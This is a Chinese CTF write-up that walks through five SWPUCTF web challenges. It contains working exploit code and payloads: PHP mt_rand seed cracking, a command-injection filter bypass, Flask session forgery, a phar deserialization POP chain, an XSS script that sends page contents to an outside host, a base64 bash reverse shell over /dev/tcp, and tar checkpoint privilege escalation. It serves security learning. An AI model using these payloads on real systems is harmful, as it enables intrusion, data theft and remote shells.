swpuctf赛后复现

前言

这个比赛Web真的很有质量,学到了很多东西,值得纪录一下

正文

用优惠码 买个 X ?

上来本能先注册登录一波查看有什么功能,发现注册赠送的优惠码不起任何作用,需要的是24位的注册码(但是给我的只有15位),而且存在一个exec.php,但是必须要使用过优惠码才可以打开,思路很明确应该是要到这个页面去,但得绕进去,查看是否有常规的信息提示,发现没有提示只好扫一波目录,发现有源码

FsZBGt.png

查看一下源码发现了产生随机优惠码的的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
mt_srand($_SESSION['seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
setcookie('Auth', $auth);
}

证明了为什么这里的优惠码只有15位了,因为他后台就已经限定了长度为15,然后通过现在已经存在的代码反推,根据这篇文章模仿一下,构造出一部分的随机数:http://wonderkun.cc/index.html/?p=585

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$str = "ZQ7hMEpfLtonAzK";
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
{
$pos = strpos($str_rand,$str[$i]);
echo $pos." ".$pos." "."0 ".(strlen($str_rand)-1)." ";
}
//整理成方便 php_mt_seed 测试的格式
//php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
}

记得这里一定要以PHP 7.2跑,不然跑出来不一样的。。。。这里推出一部分,但是不影响

1
51 51 0 61 45 45 0 61 3 3 0 61 11 11 0 61 21 21 0 61 29 29 0 61 13 13 0 61 22 22 0 61

FsuotJ.png

很快就可以跑出来,然后再手动播种,并且更改长度为24,输出秘钥

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
//生成优惠码

function youhuima(){
mt_srand(323099333);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=24;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
echo $auth;

}


youhuima();

然后就是绕过命令执行的部分了,源代码也有给出

1
2
3
4
5
6
7
8
9
10
11
<?php
//support
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}

这里首先是限制了只能ip地址,但是使用了m修饰符后就不一样了,可以用%0a去绕过,原因是在^以及$之间会匹配换行之前和之后,只要是一个正确就会返回正确啦,第二轮的过滤,把*?,flag给你过滤了,绕过我们可以使用\去绕过,官方题解用的单引号去绕过,都一样。。最后发包即可

1
127.0.0.1%0ac\at /f\lag

FsKX2n.png

Injection ???

这个题目考的点是注入,又学到了23333,先是查看源代码发现先存在info.php,进去看看发现phpinfo的页面

Fsdk79.png

FsdEkR.md.png

phpinfo页面表明了开了mongo扩展,可以尝试一下NoSQL注入,这里官方给的wp好像是有一个可以带验证码识别的python脚本,有空得学学那个模块才行

FsdrAs.png

如果不正确的话显示的是上方的样子,正确的话会显示下方的样子,可以根据此来盲注

FsdIE9.png

最后注入的密码是skmun,用户是admin,登录就可以获得flag

皇家线上赌场

右键可以发现存在source目录,可以在里面找到下面的东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[root@localhost]# tree web
web/
├── app
│ ├── forms.py
│ ├── __init__.py
│ ├── models.py
│ ├── static
│ ├── templates
│ ├── utils.py
│ └── views.py
├── req.txt
├── run.py
├── server.log
├── start.sh
└── uwsgi.ini
[root@localhost]# cat views.py.bak
filename = request.args.get('file', 'test.js')
if filename.find('..') != -1:
return abort(403)
filename = os.path.join('app/static', filename)

然后可以利用这个点去读文件,但是里面不可以包含..也就是不能使用相对路径,只能使用绝对路径,可以读取文件

Fs0Mod.md.png

然后尝试读取/proc/self/mounts发现里面存在一个web目录,另外我们知道/proc/[pid]/cwd是进程当前工作目录的符号链接,可以从中读取文件内容,读取到了两个文件内容

init.py

1
2
3
4
5
6
7
8
9
10
11
12
13
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db


def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = '9f516783b42730b7888008dd5c15fe66'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
register_views(app)
db.init_app(app)
return app

view.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def register_views(app):
@app.before_request
def reset_account():
if request.path == '/signup' or request.path == '/login':
return
uname = username=session.get('username')
u = User.query.filter_by(username=uname).first()
if u:
g.u = u
g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
if uname == 'admin':
return
now = int(time())
if (now - u.ts >= 600):
u.balance = 10000
u.count = 0
u.ts = now
u.save()
session['balance'] = 10000
session['count'] = 0

@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)

现在拥有了secret_key不难想到可以伪造session,但我们需要注意的是u.balance的值需要比1000000大,开始伪造

1
2
3
4
5
6
7
8
9
10
from flask.sessions import SecureCookieSessionInterface

class App(object):
secret_key = '9f516783b42730b7888008dd5c15fe66'

s = SecureCookieSessionInterface().get_signing_serializer(App())
u = s.loads('.eJwVzDEOgzAQRNG7TE0xBiMWXyZar5cmwUgG0kS5O_CrV_0fsn60miMF3nWw7awH0qO9La9je3tFwhSFzOImZrFQfJpFGVnGuISQy6zUgSLocO7eqq73Evx6C_2A_wVSDx5s.XBzbDQ.TMK2zvIwmNUWxVCXYaJJU7aQzqo')
u['username'] = 'admin'
u['balance'] = 1000000000.0
print(s.dumps(u))
1
.eJw1zDsKw0AMRdG9vNqEN2SC5dlM0GhkCI5l8KcK2budIrc61f2g6lvDHCXx340dbDliR_lpW8fnvkweKOizkFXcxCw3iveDKDPbI48p1TYo9U4RdDg2X0Pn6wxt8yvwPQGtyx-w.XBzkcA.sDFRMVhq2AkzcCAeoHSjBM-_OSA

接下来就是python格式化字符串的漏洞了,构造继承链,又学到了

FsyP8s.png

最后的攻击链

1
__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__[g].flag

FsyWGj.png

SimplePHP

拿到题目就发现url有些问题,猜测应该可以文件读取,可以查看file.php以及class.php

file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';
ini_set('open_basedir','/var/www/html/');
$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn\'t exists.');
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
 <?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

下面构造攻击链的过程又学到了。。。。可以读一下这篇文章:https://paper.seebug.org/680/

攻击的流程tql….,给我就不会构造学到了。。。

1.利用C1e4r类的__destruct()中的echo $this->test
2.触发Show类的__toString()
3.利用Show类的$content = $this->str['str']->source
4.触发Test类的__get()
5.成功利用file_get()读文件

这里就直接引用Smile大佬的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class C1e4r{
public $test;
public $str;
}

class Show
{
public $source;
public $str;
}

class Test
{
public $file;
public $params;

}

$a = new Test();
$a->params = [
'source' => '/var/www/html/f1ag.php'
];

$b = new Show();
$b->str['str'] = $a;

$c = new C1e4r();
$c->str = $b;

$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($c); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

copy('phar.phar','exp.gif');

?>

然后根据文件名以及ip地址推出MD5的文件名,然后再用phar协议读取即可,这里记得改一下php.ini里面的属性phar.readonly = Off

图片名

1
0b2d3fed2e75c3936721028b574d8228.jpg

读取flag

1
http://120.79.158.180:11115/file.php?file=phar://upload/0b2d3fed2e75c3936721028b574d8228.jpg

获得flag

FsREAf.png

有趣的邮箱注册

题目上来发现存在两个功能点,有一个admin.php还有一个check.php,但是admin.php只允许本地用户去读取,估计得用xss了。

可以从check.php里面的源码发现验证邮箱我们可以去绕过

1
2
3
4
5
6
7
8
9
10
11
12
<!--check.php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, please check your email";
}else{
echo "等待管理员自动审核";
echo $email;
}
}
?>
-->

构造源代码的脚本:

1
2
3
4
5
6
7
8
9
10
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='http://vps:23333/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET","admin.php",true);
xmlhttp.send();

构造的绕过payload:

1
"<script/src=//vps_ip/payload.js></script>"@example.com

监听端口,发现

Fs4AMQ.png

解码得到

1
<br /><a href="admin/a0a.php?cmd=whoami">

说明可以执行命令,然后重新修改脚本,反弹webshell,就在这一步的是时候,他喵的,他喵的,题目挂了我还是学习一下巨佬们的骚思路吧,这里学习了执念于心大佬的思路,通过写sh文件去反弹shell,用的是base64写shell,利用了管道符然后重定向到一个文件里面,echo后面的内容就是你写的反弹shell语句/bin/bash -i > /dev/tcp/ip/port 0<&1 2>&1经过base64之后的语句

1
echo 'L2Jpbi9iYXNoIC1pID4gL2Rldi90Y3AvaXAvcG9ydCAwPCYxIDI+JjE=' | base64 -d > /tmp/xjb.sh

然后执行/bin/bash /tmp/**.sh即可,这题的骚操作在于利用tar去提权,可以参考这篇文章,执行以下几句话,应该是先上传这几个名字的文件,利用了tar顺便把文件名给执行了,然后实现你的目的,你的目的内容写在demo.sh里面即可,你可以以对方身份webshell也行,直接读取flag也行,学到了,2333,以前对LInux的提权还是不太熟悉的

1
2
3
--checkpoint-action=exec=sh demo.sh
--checkpoint=1
demo.sh

小结一下漏洞点

  1. php位随机数爆破,得注意一下对应的版本是否正确才是用脚本去爆破,在有的时候还可以把随机数的格式换一下便于爆破
  2. 命令执行的绕过点,第一个是关于正则的m修饰符的小trick,用%0a去绕过,第二个就是就是对于整个单词如何进行切割绕过,可以用\以及单引号去绕过
  3. NoSQL注入的过程,以及那个骚气的识别验证码的脚本,都是我薄弱的点,以后找个时间单独锻炼一下
  4. python站的遇到secret_key就应该想到其中的一个思路就应该是构造session,还有python站的继承链的构造也是一个点,不太熟悉,也需要锻炼
  5. 看到file_exists这类的函数的时候应该有很好的意识去想到需要去用phar协议去测试一下,同样的里面的pop链构造也是自己薄弱的点,还得多加练习
  6. 这个邮箱注册绕过 FILTER_VALIDATE_EMAIL然后xss,攻击只有本地才能访问的local web应用,从而反弹shell,然后继续攻击内网web题目,使用tar提权查看flag,这思路很好,学到了。。。回去得看看Linux的提权骚操作了,只能说出题人真的tql…

听说,打赏我的人最后都成了大佬。



文章目录
  1. 1. 前言
  2. 2. 正文
    1. 2.1. 用优惠码 买个 X ?
    2. 2.2. Injection ???
    3. 2.3. 皇家线上赌场
    4. 2.4. SimplePHP
    5. 2.5. 有趣的邮箱注册
  3. 3. 小结一下漏洞点